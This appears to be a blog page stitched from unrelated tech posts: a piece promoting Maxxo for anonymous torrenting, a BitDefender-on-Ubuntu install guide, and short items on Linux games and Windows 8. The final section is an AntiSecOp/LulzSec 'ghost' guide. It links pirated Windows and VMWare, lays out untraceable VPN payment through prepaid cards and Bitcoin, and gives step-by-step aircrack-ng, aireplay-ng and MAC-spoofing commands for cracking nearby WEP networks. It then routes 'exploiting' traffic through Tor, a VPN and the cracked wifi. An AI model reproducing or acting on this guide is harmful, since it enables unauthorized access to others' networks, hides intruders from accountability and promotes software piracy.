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Torrent Lovers REJOICE! Maxxo lets you download anonymously and FREE!

If You are like me, you love to download torrent files, but there was always that looming risk involved. Who’s watching what I download? Will I get a Copyright infringement letter from my ISP? Etc. Etc.  Well fear not!  A new service called Maxxo has come to the rescue.

(TorrentFreak) Maxxo is a relatively young cloud hosting and synchronization service and one that’s not afraid to launch a disruptive feature. Starting this week the company officially adds support for BitTorrent downloads, allowing users to download torrent files quickly and anonymously. When BitTorrent downloads are completed the files automatically sync to all connected devices.

With dozens of million of users Dropbox is the leading cloud hosting and synchronization service.

The convenience of dropping files into a folder to automatically sync them online and with other devices appeals to a large audience, but some want even more features.

Earlier this year many BitTorrent users got excited by the launch of a new Dropbox app that enabled the downloading of torrents directly to Dropbox folders. Unfortunately, this enthusiasm quickly faded when Dropbox banned the app over piracy concerns.

According to Dropbox the app’s features “could be perceived as encouraging users to violate copyright using Dropbox.”

Luckily, there are also companies who see BitTorrent for the neutral technology that it is. The relatively new Dropbox competitor Maxxo is a good example, underlined by their launch this week of BitTorrent support as a native feature.

This means that besides backing up and syncing files across devices, Maxxo also enables users to download torrents. Users can simply drop a .torrent file into the Maxxo interface and right-click to start the download.

“By using BitTorrent through Maxxo our users can download files fast and completely anonymously,” Maxxo CEO Luka Hovat told TorrentFreak. “It’s a feature that none of our competitors have.”

Because all torrent downloads go directly though Maxxo’s servers, users don’t have to worry about being watched by third parties.

Maxxo downloads torrents

maxxo

Maxxo offers free accounts which are limited to five gigabytes of storage and a maximum of two simultaneous BitTorrent transfers. Paid users can download 10 torrent files at a time and have higher storage and transfer limits.

For the occasional BitTorrent user Maxxo is a pretty suitable remote download service, or a “seedbox” with automatic sync across multiple computers. TorrentFreak briefly tested the service and aside from the occasional hiccup, most of the torrent files we tried downloaded just fine.

Maxxo is currently Windows only but they are working on a Mac application, as well as support for mobile devices. BitTorrent support aside, it also allows users to create lists of friends to easily share files with.

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Download and Install BitDefender Antivirus for your Linux Install Free

One great advantage of using Linux (Ubuntu) is the fact that you don’t really have to worry about security and hence viruses. However, this does not mean that you should not use an anti-virus on your Ubuntu machine. Especially when you can get a good anit-virus for free. BitDefender for Unices is one such anti-virus solution for Linux and you can get it for free. Let’s see how to get a free license of BitDefender anti-virus for your Ubuntu machine and how to install it on your Ubuntu machine.

BitDefender Antivirus Scanner for Unices is a versatile on-demand scanner built for Linux and FreeBSD systems. It provides antivirus and antispyware scanning for both UNIX-based and Windows-based partitions.

BitDefender Antivirus Scanner for Unices is highly customizable and capable of script and extension-based integration with various applications such as file managers and mail clients.

Get a free home license for BitDefender
Before we download and install BitDefender on Ubuntu, let’s first get a free license copy of BitDefender. Please remember that the free copy of BitDefender is only for non-commercial home usage. In case you want to use it for business purpose please get a valid license. In order to request a free license go to the following page:
http://www.bitdefender.com/site/Products/ScannerLicense/

Fill in the information and accept the license agreement to get the license key to your email.

Download Free BitDefender Antivirus for Linux

  1. On the following page, click download, enter your details to download the free BitDefender antivirus:
    http://www.bitdefender.com/PRODUCT-80-en–BitDefender-Antivirus-Scanner-for-Unices.html
  2. Once you have filled the information the download link will be sent to your email address.
  3. Click the download link that you received in your email and click BitDefender Antivirus scanner for Unices (Linux, FreeBSD).
  4. On the next page click Download.
  5. Click EN_FR_BR_RO/ and click Linux on the following page.
  6. You’ll see many links on the page. Depending on the version of Linux and your OS (32 or 64 bit), you can download the files. In our case we’ll download the following file:
    BitDefender-Antivirus-Scanner-7.6-4.linux-gcc4x.i586.deb.run

Install the downloaded BitDefender anti-virus

  1. Hit Alt+F2 to bring up the run prompt. Type “gnome-terminal” to open a terminal window.
  2. Go to the directory where you download the file (In my case it is MyDownloads).
    cd MyDownloads
  3. Type the following command
    sudo sh BitDefender-Antivirus-Scanner-7.6-4.linux-gcc4x.i586.deb.run
  4. You’ll be prompted with the end user licence agreement. At the end of the license type “accept” (without quotes). This will begin the installation of BitDefender antivirus on your machine.

Installing BitDefender on Ubuntu

Running Bitdefender

    1. After you have successfully installed the anti-virus go to Applications->System Tools->BitDefender Scanner to see the anti-virus in action.
    2. Enter the free key that you requested and received in your email to get the free 1 year license.

entering BitDefender key

  1. All that is left is to update your anti-virus and to run a scan.

We hope this will make your Ubuntu installation better secured.

This article was written by Vivek Kumar from LinuxHub.net, a blog focused on Linux tutorials (how-to’s), technology and news.

Best Linux Games of GDC 2012

Just because you’re running Linux doesn’t mean you have to sacrifice playing good games. http://bit.ly/follownix Check out this video from this year’s Game Developer’s Conference to see how games for Linux don’t have to suck. While AAA games are still mostly available for Windows, indie deveolopers are pushing the envelope when it comes to native linux games.

Windows 8 Insider Tips!

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Want to get the most out of Windows 8 Consumer Preview? Let’s talk about the new Task Manager, Storage Space, Paul Thurrott‘s primer on customizing your Windows 8 start page, who shouldn’t upgrade to Win8…. and show off Windows 8 Versions Explained, which explains the EIGHT versions of Win8 we expect to see!

Want to be a ghost on the internet?

This is an excellent tutorial for keeping your online anonymity, etc.  Thanks to LulzSec and AntiSecOp for the excellent information. This information is provide for educational purposes only. Utilize at your own risk! But most of all have fun! Enjoy!

Want to stay safe online?

By @AntiSecOp

Required files:VMWare Workstation:

http://www.demonoid.me/files/details/2787488/008172892720/

Windows 7 Ultimate: http://www.demonoid.me/files/details/2811393/003064834770/

BackTrack 5 R1 VMWare: http://www.backtrack-linux.org/ajax/download_redirect.php?id=BT5R1-GNOME-VM-32.7zpfsense: http://files.chi.pfsense.org/mirror/downloads/pfSense-2.0.1-RELEASE-amd64.iso.gz

Ubuntu Live CD: http://www.ubuntu.com/start-download?distro=desktop&bits=32&release=latest

Required Hardware:

Virtualization supported CPU

4GB RAM

USB wifi adapter supporting packet injection:http://www.amazon.com/Alfa-802-11b-Wireless-Original-9dBi/dp/B001O9X9EU/ref=sr_1_2?ie=UTF8&qid=1328768355&sr=8-2

VPN Account without paper trail

  • Purchase prepaid visa card with cash
  • Purchase Bitcoins with Money Order
  • Donate Bitcoins to different account
  • Purchase VPN account with bitcoins

VPN ServicesoVPN.to

Step One

  • Enable Boot and Setup page BIOS password
  • Turn computer on, press key to enter Setup. Usually F1, F2, F11, Del, something similar. Then go to the Security tab

Step Two

  • Boot Ubuntu LiveCD to cleanly wipe hard drive
  • After booting LiveCD, open up terminal and type sudo “fdisk -l” to get a list of disks and partitions
  • Use the wipe command on each partition that is listed with the above commandie “sudo wipe /dev/sda1”
  • Repeat for each drive (sdb, sdc) and each partition (sda1, sda2)
  • Reboot

Step Three

  • Install Windows 7 Ultimate and shred free space
  • Boot from Windows disk and install
  • After clean install, install fileshredder http://www.fileshredder.org
  • Run fileshredder using “Secure Erasing Algorithm with 7 passes”Reboot
  • Enable BitLocker drive encryption. Safe key to USB stick
  • Reboot
  • Run Windows Update
  • Turn off Swap space (Control Panel > System and Security > Advanced > Performance > Disable Virtual Memory
  • Reboot

Step Four

Install VMWare

Step Five

  • BackTrack 5 R1 Virtual Machine to be used for cracking WiFi
  • Open VMWare and import the BackTrack 5 R1 VMWare image (link above)
  • Set VM to 256MB RAM
  • Create a Network Adapter (VMNet0)
  • Directly attach USB wifi adapter (VM > Removable Devices > Check Wireless Adapter)
  • Bridge eth0 to wlan0

Easy Mode method:

  • apt-get -y install network-manager
  • rm /etc/network/interfaces
  • reboot
  • Open Network Manager
  • eth0 IPv4 Settings > Method > Shared to other computers
  • Use aircrack-ng to crack surrounding AP’s
  • airmon-ng stop wlan0
  • ifconfig wlan0 down
  • macchanger –mac 00:11:22:33:44:55 wlan0
  • airmon-ng start wlan0
  • airodump-ng wlan0
  • Get SSID and channel for next step
  • airodump-ng -c (channel #) -w (file name) –bssid (bssid) wlan0
  • Let this sit until you have plenty of data points
  • aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) wlan0
  • Look for successful ACK
  • aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
  • Also let this run for a while, look for 10k ACK’s aircrack-ng -b (bssid) (file name-01.cap)
  • Connect to SSID

Step Six

  • Pfsense install to use VPN
  • 8 GB of Hard Drive space
  • 256MB RAM
  • Two Network Adapters (VMnet0 and VMnet1)
  • After installing from the downloaded ISO, set WAN to VMnet0 and LAN to VMnet1. You should get a WAN dhcp IP from VM#1
  • Assign LAN IP and enable DHCP (192.168.1.1/24)

Step Seven

Step Eight

  • BackTrack 5 R1 VM for all cracking/penetration testing/everything
  • Import another BT5 vmware image
  • 512MB RAM
  • One Network Adapter (VMnet1)
  • Set default Gateway to match the IP of your previous VM (TorBox)
  • ALL data will now travel securely (BT5 > Tor Network > Over VPN > Internet using cracked wifi)
  • Download Tor Bundle from torproject.org
  • Use FireFox Portable bunlded with Tor Bundle (more secure)
  • All exploiting/penetration testing, cracking, etc is done on this VM

Step Nine

Encrypt All VM’s

Open settings for Each VM in VMWare

Under Options > Enable Encryption

Set secure password

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